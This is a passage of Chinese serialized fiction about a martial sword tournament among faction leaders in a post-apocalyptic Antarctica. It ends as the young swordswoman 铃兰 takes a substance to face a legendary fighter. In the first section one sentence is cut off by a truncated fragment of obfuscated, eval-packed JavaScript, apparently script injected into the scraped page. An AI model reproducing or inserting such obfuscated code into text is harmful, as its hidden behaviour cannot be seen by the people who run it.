红莲目击过侍灵的速度，单论敏捷，野芹能和侍灵打成平手。 肌肉少女的第二击竟然是保持持剑的力量不变，转身用出大摆拳，人们甚至能听到拳风的呼呼声。黑巴别无选择，松手向后跳，灵巧的控制双脚，踢长枪挡住剑击，继续上踢，击中野芹摆臂的关节，随后用后空翻拉远距离。 二人第一个个回合的较量结束，野芹站定，看着已经弯成弧形的橡胶剑和长枪，笑了笑，随手扔掉，揉揉自己的肘关节，原地一个踏步侧冲，左右闪了两下，跃到空中使出一招雷霆万钧的横摆腿，正常人根本做不出这套动作，每个侧滑加弹跳都有可能让自己骨折，更别说蓄力到前冲和旋转惯性合力的踢腿了。 黑巴向右微动片刻，立刻左跳，这个假动作骗的野芹略微调整向左踢的力道，却还是踢中了黑巴的上臂，黑巴忍痛出拳，打中野芹的侧脸并踢中她后背，而野芹落地后还有势能，转动半圈的扫腿，绊倒了黑巴，二人起身移动。 野芹的高抬腿和直刺拳都被黑巴躲过，野芹要用擒抱，一根半弧形的橡胶剑斜挡在她身前，黑巴趁势绕到野芹身后，两人掰扯不动，僵持了5分钟。实际上，黑巴全靠橡胶剑的张力锁住野芹的发力，肌肉女想起了力量差距，退步施展一招过肩摔，要知道大厅全是硬质石砖，黑巴已经无力调整身姿了。 紫洋感觉身边忽吹疾风，野芹感觉自己被什么人拉了一下，红莲接住了即将用背和后脑硬触地的黑巴。 “比剑，剑弯了，就别打了。” 野芹质问道：“那算谁赢！” 黑巴揉着上臂，拍了一下野芹的肩膀。 “超级士兵赢了。” 她说完就带藤萝离开了大厅，四张黄金沙发，只剩红莲和紫洋安坐。 下一场比赛要等曼达到场，紫洋假装云淡风轻的聊天。 “哎？红莲？我刚才看你出手的速度有点快呀？” “你真的看清了么？” 紫洋选择无视自己不想听的话，侧倚着沙发，轻卷耳边鬓角。 “我的手下啊，有不少是参加过三家内乱的家伙，她们见过玛丽安的御前军团只用长剑，身法神速，无视刀枪，嘶！就像你刚才一样啊？” 原来第一工业局的社员都配军刀是这个原因，红莲倒是不讨厌思维机敏的领袖。 “该有的时候，大家都会有。” “喔？我就觉得剑术比赛是有让全员熟悉刀剑的意味呐！” “问题在于紫洋会长有了，要做什么用？” 紫洋不自觉的把身子歪向远离红莲的一侧，用另一只手再卷鬓角，红莲注意到她睫毛不停的跳动，很难想象出这张天真面孔又在酝酿什么鬼主意。 “当女王啊！当女王呗！还能是什么？” 她用最单纯的说法答复红莲，还一脸纯真的看着红莲。 “你现在的待遇，和女王有什么区别？” “哼！那红莲想干什么呢？” “身先士卒，和大家一起抵挡灵能会的大军。” “哟哟！” 紫洋扭脸，扬高下巴，避免被人看到丑的表情，摸摸耳朵，大概是想用掏耳朵的动作嘲讽红莲，却想起不雅，于是作罢。 “我啊，最佩服你这种人，冠冕堂皇啊？义正言辞啊？那脸皮！啧啧！更佩服有人听信你这套蛊惑人心的说辞！替你卖命！还你身先士卒？我们死的就剩你一个的时候？恐怕你都不见得上阵呢。爬高位不就为了享尽荣贵，最后再死？” 红莲面带不悦的说：“清者自清。” “哼！” “我怎么想是我的事，我在问紫洋会长，侍灵大军到时，作何打算！” “我怎么想也是我的事，红莲会长，不必操心。” “愿你坚守这份高傲。” 紫洋一时收敛傲慢，嘟着嘴，扫看一眼红莲，大厅正门通的一声撞开，曼达大步走了进来，她俩起身示意让她坐下。 “不坐了，调动运输车的公事繁忙，快点开始吧，真不知道玛丽安要这么多车干嘛。” 曼达撸黑色夹克的袖子，拽紧手套，接剑，黑色皮裤迈腿，摆好姿势，单手曲掌，示意紫洋过去。 这两人的战斗因为毫无悬念，变得有些乏味，红莲看得出紫洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑白世界中，也有人喜欢孤独的力量，她独自反复爬山，似乎在寻找最便捷的路径，确定这项信息后，她在雪坡中，匍匐靠近家园堡，直到银色的侍灵士兵从巡逻状态停下。 她还大胆的站起来，绕着侍灵阵地试探警戒距离，甚至扔石头确认飞行物是否被侍灵认为是敌对目标，几束激光炮焚毁了石头，她慌乱的滚落到山腰，再起身观察环境的时候，注意到了山下的红莲，而红莲也仰望着白蒙山坡之上的她，迎风飘动的细辫，脸上的镜片反光，便知她的身份，于是脱下棉衣，放在身边的岩石上。 红莲返回石制大厅的路上，恰巧遇到出门的曼达，二人简单攀谈，得知紫洋耗到筋疲力尽，终于认输。 曼达讲述首都近期往城外吊运了大量居住舱和物资，沿白猫驻地构建了防空阵地，她说完这些，就急急忙忙的上车，返回服务局。 红莲坐在石阶上等待铃兰出来。 大厅里，铃兰和野芹开始争夺南极最强的名号。 顶级武者能觉察对手的精神状态，野芹的狂气穿过紧绷的肌肉，四散在空间里，眼神激烈的杀意惊骇全场，好似一头浑身狂气的猛兽，要肆意宣泄原始的杀戮本能。最恐怖的是她的身心有人类强大的精神力加成，使其立刻超越野兽的威势，展现出可以被称为魔王的强大气场。 她伸臂横剑，不作防御，大步前冲，接近铃兰后，仍无格挡意图，用脸和上身硬接铃兰的斩击，并且马上挥剑使出上挑和反手下劈，速度之快，竟能迫使铃兰收剑防守，并被她的剑击推后三步远。 野芹紧接着连续跨步前踢，铃兰蹲身去绊她的腿居然踢不动，好不容易退到安全距离，她还能顶着铃兰的横斩，用出连续直刺，剑如流星一般急速戳动，若非铃兰身形小巧，必躲不开。 用身体硬吃攻击需要超人级别的体魄，野芹的基因是优选南极各城孕育罐基地和全员治疗椅汇总的基因数据，从头开始编辑的超级人类遗传信息，她在孕育罐内的发育过程还经过严谨周密的药物干涉和手术调整。她成功离罐后，全身连着麻醉和刺激两种药剂的管线，进行了日复一日的高强度体能训练。紫洋接手超级士兵项目后，终止了麻醉药物投放并且大大提高格斗训练强度，训练对象常常是武装机器人，意图让野芹适应残酷战斗。 可以说，野芹的杀意不带有恶意，就是成长环境导致的以杀为乐，长期的疯狂异化了她的精神，使她内心的狂野难以遏制，所以毫不在意受到多少攻击，一心求胜。 强大的身心力量促成了野芹的凌空三连踢，铃兰用剑挡住却还被她踢向空中，沉重的踢力从剑身传致铃兰双臂。 铃兰还未被身体重力的下压力产生痛觉，就在这个瞬间，她闭息，发动静界，加速内在感知和身体运动，凝聚全部力量用出一命剑，直刺野芹。 静界本身就介于危机意识和冥想之间，出色的危机感知使野芹立刻反应，握住橡胶剑的两端横挡。 两剑的撞击比之前任何一次都要猛烈得多，仿佛连天地都为之色变。随着一声清脆的剑鸣，铃兰将野芹的剑拦腰刺断，强劲的势能迸发出火星，狂风席卷整个大厅，野芹施展连续后跳，避开铃兰的后续攻击。 她看着断剑从手中滑落，手还止不住的抖动，证明铃兰的刺击之强，力量足以震麻了她的手，再看铃兰因为刚使用过一命剑，身心逐渐虚弱，于是她身形一闪，如同雪原上呼啸的狂风，瞬间逼近铃兰，侧踢化作一道黑风，直取铃兰要害。铃兰见状，不退反进，以剑连戳他的腿部关节，却没能阻止野芹连用双腿交替攻击。 两股力量在大厅里交错，缠斗、激起阵阵风团。铃兰借势飘退，身形依旧轻盈；而野芹双臂恢复，猖狂追击，战意更浓。 第一轮交锋后，铃兰开始展现出她超凡的身法与剑术。她不再硬碰硬，而是利用大厅墙壁，时而跃墙走壁，时而翻身落地，以灵动多变的身法，不断躲开野芹的猛攻。 野芹虽力大无穷，但在身体大小差距下却显得有些笨拙。她怒吼一声，再度施展凌空回旋踢，这次更加猛烈，且连续不断，企图以绝对的力量压倒一切。然而，铃兰却总能巧妙地避开她的攻击，并在她攻势的间隙中，凑到贴身的程度使用关节技，尽管这对野芹几乎无效。 随着时间的推移，战斗逐渐进入了白热化阶段。铃兰在一次巧妙的腾挪中，终于找到了野芹的致命弱点——她的防御虽强，但转身之际总有一丝滞涩。铃兰心中一喜，橡胶剑化作一道流光，直刺破绽。 可是野芹毕竟非等闲之辈，她凭借惊人的直觉和反应速度，硬生生地在最后一刻扭转了身体，双手夹住橡胶剑，几乎要将铃兰连人带剑摔在地上。千钧一发之际，铃兰扭身并转剑，才化解了这次危机， 一阵旋风过后，两人同时拉开距离，各自在空中划出一道优美的弧线，最终稳稳地落在地上。尘土飞扬中，只见两人皆是一脸凝重，显然都受到了不小的冲击。 短暂的喘息之后，两人再次站起，对视一眼，眼中都闪烁着更加坚定的光芒。这一刻，她们都意识到，真正的较量才刚刚开始——这不仅仅是一场剑术的对决，更是心境与意志的较量。 铃兰深吸一口气，闭上双眼，让自己的心灵与身体融为一体。她感受到了气流轻抚、血液流淌、心的坚决、头脑的清晰，这一切都让她的剑法变得更加随心所欲。 而野芹则大喊一声，全身的狂气仿佛在这一刻激发得更加旺盛。她不再依赖蛮力，而是泯灭理性和意识，每一招拳脚都蕴含着她的愤怒、她的不屈、她的渴望，攻击的频率和动作突破了人体极限，就如一团上下翻飞的暴风。 当两人再次交锋时，已经没有了之前的势均力敌。铃兰仿佛置身于千军万马的合力绞杀之中，仅能用剑尖阻碍野芹的关节活动，迟滞她的拳击和踢击。二人在空中交织、缠绕、分离、再交织，每一毫秒都危及铃兰的性命，野芹每一次的攻击都比上一次凶狠。 终于，野芹在一次长距离的助跑之后，回旋踢动作出现变形，原来是铃兰从野芹陷入狂暴状态后就一直施展绝命剑攻击她的关节，力道不如一命剑大，但每次都足以限制野芹的攻速与力量，累积至此，她再也无法精确控制身体动作了，重重的撞在墙上。 可发狂的野芹心里没有输的选项，她急速扭动身体，一刻重整麻痹的关节，箭步前冲，直拳冲向铃兰，而绝命剑厉害之处就是始终蓄力留有一招一命剑。 下一刻，铃兰的剑击中野芹的手，再向上滑动，这是避免她的胳膊骨折，剑风擦着野芹的白发，打断黑色发箍的同时，将她吹倒。铃兰跨步，用膝盖顶了一下野芹的肋部，避免她背部直接摔在硬地，铃兰和黑巴对她的包容，主要是懂这疯狂少女不具备恶念，只是南北极纷争压力下产生的可悲人物。 第一工业局的四场剑术比赛结束了，除了野芹之外的参与者都明白这是普及真我剑术的赛事，各学院的人们在目睹了业凰社员的剑术威力后，都在加紧练习，不管这项能力有没有用处，或许就像红莲说的，人有仅凭一根铁棒也要战斗的意志，才会战斗。 南极在这个时间点，最有潜力的人物就是紫洋，她武有野芹，文有天荷，还有近五万名训练有素的精锐军士，管理着重工业基地。然而，她虽不像恶毒女王那般虐待民众，但也缺乏宏观视角，仅按利益思路支配众人，这在人人自危的末世是狭隘的。 或许聪慧的她也意识到了这点，只是被恶毒女王教授的心机阻碍，不相信人的良知了。 22. 章22南极：热血铃兰 极致的重压偶尔能启发个别人的幽默感，千里的风趣正是来源于此。 乐观是对自己和世界的未来满怀信心，她没有，更没有破罐子破摔式的娱乐至死。 她用小聪明看待外界，就醒悟从黄金时代，机械时代，血肉时代到灵能时代的人类有多么可笑，也就无需像其他人那样畏惧无敌的侍灵大军，因为自己最多不过是被一帮愚昧的小丑打败罢了，这种稳定的精神状态，让她如同丛林中独自战斗的猎人，具备优秀战士的心理素质。 千家，简单来说就是南极混血人组成的群体，有黑发人，白发人，黄发人。千里和姐姐千鸟同是千家主的备用继承人，孕育罐基地护理所的护士们查阅古代花卉图册，为她俩起名，千鸟花的花语有自由和轻松的意境，千里香的花语是伪装和浪漫，都是曾经广泛分布于世界各地的小白花。 此刻，夜星只剩空旷遥远的黑夜与无处不在的白雪。 如龙之风奔腾在苍茫大地，卷起白色洪流，吹拂少女们的发丝，千里摘下白绒兜帽，仰望夜空，轻吐雾气，闻着寒风的味道，鹅毛大雪下落满目，融化在她的白丝长发里，这让她感到些许不悦，却未在脸上流露，而是再用眯眯笑眼，转身回看身后姐姐与随从。 你们能走快一点儿吗？ 这句话停在她的心头，耳边却从风声中听到一丝不寻常的扰动。 侦察兵都是熟悉风的人，亿万造物的万千巧合作用下，孕育了如她这般听觉敏锐之人，她不单指望听觉，是结合了风雪触感共同培养的一种感觉，称其为女侦察兵的直觉更为恰当。 在三公里范围内，自南向北出现了有稳定节奏的运动物体，它们干扰了风声和雪流。 千里单手伸平手掌，示意众人停下脚步，每到这时候，人们总觉得她头上的兔耳发箍不是装饰，而是真的有什么让人知觉变强的魔法。她独自转身向西奔走，每一步恰好踩在风声的背景音里，在目标毫无察觉的情况下，爬上周围最高处的雪坡，但她立刻蹲下，再趴下，因为对方一行三人，急速向北滑行，对方感觉到有人观望，马上停下，向千里的位置遥望，说明她们也是侦察斥候，但远不及千里这般高明，于是三人继续向北冲，看她们穿的冰花迷彩棉衣，还有三人一开始向北，又乱晃方向，千里判断这伙人的目的地是雪牢关。 什么人敢在通行禁令时期乱跑呢？ 穿了冰花迷彩制服，说明她们是不想让内陆的任何人察觉。 自南向北，从首都出发的吗？ 雪牢关，那里有机械人偶军团把守，出关是北海岸，再往北有灵能会的侍灵大军。 千里一边想着，一边起身戴上兜帽，千鸟和随从参谋跟上来。 “有什么发现吗？” 她听姐姐问了，想多一事不如少一事，就又眯眼微笑着说：“没有。” “哎！又故弄玄虚！快走吧，冷死了。” 众人在千鸟的催促下，系紧棉袍，顶着暴雪，往西方的服务局进发，之所以不用汽车，就是因为两学院间距不远，千里想顺路打探一下首都附近的情况，她比任何人都重视当下，正是这种心态，使她具有优异的侦察能力。 远方的服务局建在空旷的平整雪原上，像儿童画画，上黑夜下白雪，中间一个方盒子。这建筑原本是王权军团的指挥部，后来是阳家主的本镇，现在作为培养服务于王室的警卫部队的机构，三者充分证明了此处是战略要地，从北海岸往南，过了雪牢关是业凰科学院，南部山脉中的首都前方是一马平川，因此历代南极王都把此处视为首都的最后防线，尽管地势无险可守，但必须造一座尽可能坚固的要塞。 千鸟姐妹到达服务局外围墙附近，清水混合化学凝胶制造的坚冰包在复合混凝土外侧，使围墙高三米，墙面设有很多小门和射击口，她们从小门进入，能看到围墙内部比外面低5米左右，战壕内设医护室和物资室等场所。千里跨过战壕，从梯子登上第二道围墙，这堵城墙厚达9米，安装了大量火炮和防空炮，她从城墙的步梯下到战壕，在交通壕里和千鸟等人汇合，一同从第三道战壕下方经过，再上到地面，四四方方的露天空地的每个角建有四座塔楼，内装大型机炮和电子雷达系统，空地中间的方形堡垒就是服务局本体，建筑墙体是用6层复合钢材加混凝土加复合石棉制成，厚达22米，总之是把人类技术能想到的防御壁都用了进去。 她俩跟守卫交接完证件，走进建筑里面，灰色钢铁造的步梯和楼层围出一个正方空间，很像监狱。事实上，这里曾经确实有监狱职能。空地上搭了一个简易八角笼，作为擂台，上方铁皮走廊的围栏上装了很多射灯，照的整个学院灯火通明，却还是没改变极似监狱的压抑氛围。 千鸟从步梯上到二楼，路过爬在栏杆上的社员们，走到红莲身边，以同样姿势靠着栏杆，望着下方的千里独自走进八角笼后，跟红莲说话。 “我感觉自从你来了南极，一切都在发生变化。” 红莲侧脸看她的侧脸，两条小辫子很可爱，让人萌生摸摸的想法。 “不是我引起的变化，而是你们的世界也将崩塌。” “大家都是睁一只眼，闭一只眼，才活到现在。红莲，我想尽量平静的多活一会儿。” “自暴自弃？” “适应环境。” 红莲扶着头戴的黑色大檐帽，仰头要说什么，又把话吸回肺里，黑色长发再度遮蔽她清冷面容，黑色连衣裙和过膝长靴包裹的高挑身段靠在围栏上，显得既严厉又落寞。 “没关系，千鸟，我一个人战斗。” 黑发少女说着，笑了。 千鸟问：“那样做，有意义吗？” “骨气就是人活的意义。千鸟局长，我觉得人类之所以能傲立众生之上，不是因为智慧和力气，是因为我们曾有直面绝境的骨气。” 千鸟听着，咬咬牙，默然了，与红莲一起望向楼下的八角笼。 笼内，千里双手梳展白色长发，戴好了她心爱的兔耳装饰，调紧了白色衬衫上的背带，单手从靴尖捋到黑色束腰，确认连身裤的状态完美，探手从笼子缝隙里接过社员递来的橡胶剑，然后突然兴高采烈的向楼上四层围栏边的观众们招手，人们才想起这剑术比赛算是一场表演，于是跟她一起欢呼。 如果有谁能从五楼一跃而下，那她就是曼达，她一身黑色皮衣，只在下落过程中蹬了两下沿途的围栏，就重重的落在八角笼中的地面上，人们再看她从单膝跪地到站直，没有一丝不适，惊愕于这位资深教官的武学素养太过离谱。 可是她的徒弟千里却不那么想，千里太熟悉老师的个性了，猜她只是因为全场气氛被自己一段手舞足蹈带动，就一时嫉妒，直冲下来，因为她这招耍帅能获得人们的关注。 千里想完这些，娇美的脸上洋溢着戏谑的微笑。 曼达一看千里笑就知道她看出自己落地动作为了耍帅，被地面震麻腿了，于是曼达向后微倾身子，发觉腿脚不便，至少要过15秒才能恢复，但这一丁点的动作细节又被千里观察到了，于是她笑的更诡异了。 “哎呀，其实，啧，咱俩好久没切磋过武技了呢，是吧？曼达老师？” 千里缓缓迈着平静的模特步，东看看，西看看，十分随意的闲聊着，就好像要善意的等待曼达腿脚恢复，进行公平对战，所以曼达也想用叙旧拖延时间，她话到嘴边，就看一剑。 “小兔子我？戳！我戳！戳！戳！” 兔耳少女抓准曼达身心松懈的时机，长剑的直刺如机枪弹幕，猛攻曼达上身，曼达以剑挡架，而千里立刻对曼达的腿乱戳，这让曼达更难防御了，情急之下，她半蹲侧滚了两步远，发现还是站不起来，就盘坐在地上，跟千里对剑，普通人看个热闹有趣，而在场的各位局长们明白千里连半身曼达的防御都破不了，胜负已定。 久攻曼达不下的千里，忽觉身前有风，赶忙蹬腿，向后空翻，原来是曼达恢复了行动力，突然起身向上直刺，用骗术还了千里的不讲武德。 二人各站八角笼边，曼达稍有接近，千里就快速移动到最远距离，论脚力，千里真的像兔子一样灵活且擅长跳跃，只不过腿功破绽太大，需要武者敢拼，小兔子自然是没那胆量。 她们兜兜转转，在笼子里跳十几圈，千里是侦察兵出身，体力深不见底，曼达万万没想到自己居然要用绝招一命剑，来拉近彼此距离。 剑如流星横贯擂台，曼达冲刺的速度像黑影一闪，千里觉得气流陡变，慌乱一挡，居然正好用剑挡住了曼达的直刺，只不过千里的剑因曼达的刺击力量超强，脱手了。小兔子逃跑的本能血脉激烈燃烧，不经大脑思考，连续闪躲，二人明明只差半个身位的距离，可曼达偏偏在移动速度上差了一点，让千里能在曼达如雨密集的剑击里，继续跳跑。 二楼栏杆后观战的红莲和千鸟见千里凭运气挡下关键一击，就齐声说了句：“哇喔！” 千里身形一动，如同清风拂面，跳到曼达左侧，鞋尖轻点地面，就侧跳，躲开曼达的背手斩，白发少女活跃的像位芭蕾舞者。曼达哼了一声，剑猛然挥出，高速剑气划破空气，气流四溢，两人之间的空气仿佛被点燃，温度骤升。 砍偏了，曼达身形暴起，如同火中凤凰，凌空跳跃，再猛然下坠，剑化作一道流星，直击千里。千里身形飘逸，轻盈躲避，也在空中画出一道优美弧线，再次躲开曼达的攻势。 两人的技巧各有千秋，千里意在耗光曼达的体力，每一个动作都力求刚好躲开，节约体能；曼达则凭借过人的力量与速度，剑法大开大合，攻势如潮。只见剑光闪烁，二人在笼中急速追跳，时而凌空交错，时而侧走笼壁，引得四周观战的人们无不惊叹。 “曼达，你的剑法虽猛，追不上我！” 千里嘲弄的话语在剑风中回荡，只见她身形一转，全力跳走，想用话术激怒老师，保持士气。曼达气息确实开始散乱，她又累又气，想起来这位徒弟的话都是诡计，就不攻击了，全力追她。 随着时间的推移，两人都意识到，仅凭追逃的较量已难以分出胜负，真正的对决，在于契机。千里远远看到自己掉落的橡胶剑，再次心生一计。而曼达用每次跑到笼子角的机会使出一剑，节约体能。 “哎，我累了，老师你要不认输吧？” 曼达健壮的身高和体重增加了肺部负担，她好奇千里这家伙居然还有空说话，顿感千里的体力还大有盈余，自觉胜率渺茫。 就在曼达心里有些松懈的时候，忽觉一物飘了过来，她急切招架，原来是千里跳躲攻击的时候，用鞋跟向后踢了一下地上的剑，这一下小动作又让两人拉开一点距离。 曼达于是站定，越想越气。而千里则贴着笼边，缓缓挪步，其实她说话是强忍呼吸节奏后说的，就是用小计谋增加自己的胜率。 观众们的呼吸几乎停滞，都在心中支持千里，因为人们发觉只要坚持不懈，也能向千里这样，跟顶级剑客周旋。 终于，在无数次的追逃之后，曼达的一命剑冷却结束，她站住就是将身体调整到最佳状态。千里发觉曼达的气场突变，但看自己的剑在曼达身后很远，怎么耍手段都拿不到了，她眼见曼达凝聚全身之力，剑尖之上，一丝白光再次缓缓绽放，下个瞬间，曼达将千里撞在笼上，双手按住她的双手，使千里动弹不得。 “小兔子认输啦。” 千里扭脸后，娇羞的说了胜负结果，曼达知道她又耍心机，是趁彼此站姿暧昧，用假装羞涩，平息师父的怒火。 服务局的第一场比赛结束，千里像得胜归来似得，受到沿路的社员们热情欢迎，千鸟望着逐渐走近的妹妹，渐渐明白了红莲说了骨气是何意思。 千里走到红莲左手边。 “红莲姐！曼达师父那招快的离谱！就是你教业凰的剑术吗？我也想学呀！” “我看第二运输局的社员拿过真我剑术心法的纸片，我派了教官到各学院教学，不难的，我感觉你一学就会。” “喔喔。” 千里喔了两声，转身背靠栏杆，突然说：“最南。和！最北。联络了。” 红莲在脑海里反应最南是谁，最北是谁，就要立刻转身去问千里，却被她用力按住，红莲懂了，千里也不能确定情报是否准确。 四层走廊形成的看台上，人们不知道时代的暗潮悄然涌动，正为下一场比赛欢呼雀跃，看一位红发将军走入笼中，随后一个矮小瘦弱的金发双马尾少女也进去了。 高个女子身高178CM，体态丰满却不意味着她疏于磨练自己，红色制服上衣的代表了南极人人仰慕的阳家，在阳家主之前，数代红发人组成的王权军团捍卫南极的安定，她们无私且公正，所以人们在阳荷身上倾注着安心的理由，阳荷自己也知道这点，所以她从不放弃阳家制服，勤学苦练武技和指挥学，一人就兼顾前锋和后勤，以及指挥的全能将领。还有她华贵的面容从不表现出一丝恶意，那是看过就明白她真的由内到外全是善意，才会有的容颜，如同南极百万女子的母亲，是真正母仪天下的气场，在人们心底，她才是南极的女王。 此刻，人们开始议论阳荷前方的矮子是谁，当有传言说她战胜超级士兵计划的实验体野芹副官，才杀入决赛圈时，整个建筑内部人声鼎沸，口口相传一个名字，铃兰。 可是大家看着八角笼中的小矮子，头发稀疏，所以双马尾细细长长的，身高加上马尾的高度也不够160CM，身体呢，穿着业凰的白衬衫和浅蓝色的束腰裙子，胳膊和腿差不多一样粗，看起来瘦的可怜，就好像阳荷一挥剑，产生风就能把她吹倒。 人们不管怎么看，铃兰都不像能战胜头号种子选手野芹的人。 就在众人窃窃私语谈业凰有什么独门绝招的时候，铃兰双手持剑向前冲锋，她见阳荷侧身站定并双手握剑不动，就立刻点脚收住前冲，内行看门道，剑术基础不错的观众纷纷向身旁的人讲解铃兰的这一下停步需要极高的武者素养，于是所有人咽了一口口水，全神贯注观看这场比赛。 铃兰的下一个动作是左闪身，阳荷跟着向左转步，铃兰马上右闪身，阳荷同步转向右侧，二人还未交锋，就试出了对方的实力。 铃兰挪步到离阳荷有两步远的位置，短跳蓄力，率先横劈，而阳荷的宽刃长剑力量更大，双剑相交的时候，铃兰被弹的后仰，阳荷使用双手大剑独有的换手技巧，变右挡为左横扫。铃兰等的就是这种绝境，她施展绝命剑，瞬间挡住阳荷的攻击，而阳荷的剑击如突然爆散开的发条，攻势极猛，铃兰却没退半步，招招挡住，二人在极近距离，上演了眼花缭乱的剑术交锋。 其实阳荷早就知道业凰有了什么新剑术，还在运输局看过业凰的教官指导社员练习，懂了该剑术是凝聚所有力量，攻击敌方弱点，可阳荷的剑术防的密不透风，所以她曾接下夜兰的一命剑。 现在，阳荷没料到真我剑术还有连续技，由于两人距离过近，剑的防守动作同时产生了攻击势能，铃兰剑术的防御力量远在阳荷之上，使她的防御产生的攻势变小，再加上两人身形大小差异极大，铃兰不用躲的次数更多，阳荷急在心里，手上却无技巧进行有效攻击，她猜铃兰的这种武技也像一命剑一样不能持久，所以只要在输之前拉开距离，于是阳荷突然加大力量，意图用双剑相撞的弹力，斥退彼此。 普通武技的加大力量会有一个短暂的蓄力空挡，阳荷凭借多年来积累的武者体质，只是微调了动作。 砰！ 她的双手抓空了。 原来是铃兰趁阳荷蓄力产生的微慢，施展一命剑，精准打到她双手剑的底部，打飞了阳荷的剑，并且顺势向斜上刺击，停在距离阳荷脖颈3CM远的位置，胜负已分。 这场失利对于阳荷来说，让她又意识到了自己的武技有短板，人们知道下次见她就肯定会业凰剑术了，阳荷就是这样，从不懈怠，尽善尽美。 决赛的选手之一，曼达就在笼子边，她设计这个场地就是为了近距离观察真我剑术，赶在决赛之前，知晓对手的全部底牌，这就是将军的头脑，而她还要用点智谋，就是立即上场，她知道真我剑术的弱点是体能消耗有滞后性。 眼下，铃兰刚使用了绝命剑和一命剑，是最虚弱的时候。 曼达解开束缚蓬乱黑发的皮筋，抖抖黑色夹克和皮裤，单手持剑放在脖子后方，问铃兰。 “可以开始吗？” 在这种情况下开始，铃兰感觉力量正从身体和心里缓缓流掉，虚弱感让她无法站立，也懂了曼达的意图，是要赶在自己恢复之前决胜，尽管这行为有些卑鄙，但取得真我剑术真传的铃兰也算优势占尽，于是这位体力和体型都不占优势的瘦小少女同意了。 “来吧。” 南极第一的名号近在眼前，于是曼达毫不留情，第一击就使出绝招，黑影再闪，全场皆惊，她重重的撞在铁丝网上。 人们看什么力量推了曼达一下，使她没能微调动作，撞墙了。 而曼达自己的动态视觉极为出色，她眼睁睁的看着铃兰整个人拧着身体，贴着橡胶剑躲开了直指弱点的直刺，这种躲避动作太惊人了，也只有身形较小且兼备柔韧和力量的铃兰能做到，她猜到二楼围栏处的红莲露出了得意微笑。 没错，这是剑术比赛，并不是真剑较量，剑风和剑击的力量都被橡胶武器大幅弱化了，这种条件下，铃兰几乎是无敌的！ 曼达在一瞬间意识到这些，她佩服红莲的谋略在战略层面就已经占尽胜机。 而铃兰倒挂在曼达背后，曼达持剑的手还卡在笼子上，她必须在铃兰调整好攻击动作之前，把手和剑拔出来。 一身黑色皮衣的怪力女在危急关头，大喝一声，居然真的撑开铁丝网，瞬间就拔出了手，赶在铃兰剑击到身之前，挡了下来，现在她要做的就是怎么把铃兰从身后弄下来，于是她旋步转身，利用铁丝网剐蹭掉铃兰，当背后的触感还是铁丝网时候，她心想，坏菜了，立刻踢铁丝网的同时，向上挥剑，拉开距离后再转身查看。 双马尾少女用剑插在距离地面三米高的铁丝网上，再双手用力向上爬，以橡胶剑为支点，休息着。 曼达看到此景，整个人都不好了，这说明铃兰随时能利用铁丝网爬到高处，趴在剑上休息，这战术把真我剑术弱点变没了，这看起来很不公平，问题是人家铃兰轻啊，在剑上面能站还能躺。 现在只是因为铃兰体力不足，才爬三米，在曼达的跳跃攻击范围里，另一个问题是曼达的体力也因为使用一命剑，正在衰退，追个武技一般的千里足够，攻击铃兰这样的顶尖高手就会逐渐由攻转守，还有问题是铃兰的绝招更早恢复，到时候，大体型的曼达根本无从躲避。 死马当活马医吧。 曼达全力冲刺，用出上挑击，铃兰抽剑挡开的同时在空中做了一个漂亮的空翻，拉开了很大距离，曼达继续凶猛攻势，冲到铃兰位置时发现没人，不用想，又在自己的视线盲区里晃悠，曼达能大致感知到铃兰的位置，就扭身侧砍，这种精准度不足的攻击根本不足以威胁铃兰，曼达感觉小腿肚和大腿肚上有什么东西轻碰了一下，就知道她又要爬到自己身上， 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灰蒙的钢铁世界中明明有一缕白色，却没有人注意到。 一息冷酷杀气惊醒在场的各位局长。 曼达，阳荷，千鸟，紫洋，黑巴，红莲，甚至远在首都的玛丽安都恍然大悟，我们这帮人争夺最强称号，势必引来那位因剑术美学就不要命的武痴。 正当所有钢铁房间内外的人潮不知环境因何故变的肃静之时，二层的围栏迅猛震动，弹倒一众社员，黑色的长发与裙摆一同扩散，是红莲翻过栏杆并双脚一蹬，等人们注意到她，已经在八角笼中了。 双马尾少女被突然出现的红莲吓退了半步，而红莲把她搂在怀中。 “铃兰，柱上那人不是现在的你能战胜的。” 红莲说着，对曼达使眼色让她离开，低头继续对铃兰说话。 “有一种物质，服用就可与她公平对战，你要继续吗？” 铃兰的脸蹭着红莲的小腹，微微点头，然而红莲还是不放心。 “吃了就不算是正常的人类了，没有回头路。” “那不重要，红莲姐，重要的是我想赢。” 红莲听到铃兰的决心，将她紧紧搂在怀中，悄悄将手指伸到铃兰嘴边，抱着她一起原地旋转，等人们再看清铃兰，只见她头戴黑色大檐帽，外穿黑色大衣，内穿短袖短裤，长筒靴旁缓缓出现一柄黑亮长剑，她整个人气质变的生硬而果敢，将剑插入地面，抱着胳膊，跟红莲说：“姐你出去吧。” 这位金发少女的心中，不只是得冠军，她悉知此刻是重塑自我的舞台，她要让天地万物为自己坚贞的斗志所折服。 而她的对手来自传承万年的部落，不懂道理为何物，剑是活着的理由和追求，武是唯一的经验与知识，人们以剑为生，以武为业，仅凭血肉之躯，打败殖民者的枪炮，在高科技末世依然痴迷武技。 一道白光在铁架之间闪烁，速度之快，宛如群星。 下一个奇异景象，是有人突然出现在八角笼内，她无视重力，缓缓侧走在铁丝网上，黑色连体裤将185CM的完美身材显露的淋漓尽致，短款白色夹克上飘动着波浪长发，发色淡粉，与她华美迷人的面孔一样优雅，眼神泰然自若，嘴角有着自然微笑。 她越走越快，变成在铁丝网上滑步，绕着擂台转圈，看下方的铃兰巍然不动，于是她按螺旋路线滑行下来，登场过程美的就像花样滑冰选手。 “小丫头，你叫什么名字。” “问之前应该先自报。” “哼。” 女子向身边一甩手，一把黑色长剑就凭空出现。 “我风信子是最强之人。来跟你争天下第一。” “铃兰。” 少女拔剑，横剑摆好突进架势，却未充分适应0元素的力量，只觉得五感都大幅提高，意识变得可以完全支配身体，没有一丝疲惫和迟钝，思维异常清晰，一切杂念都随服下0元素后消散了。 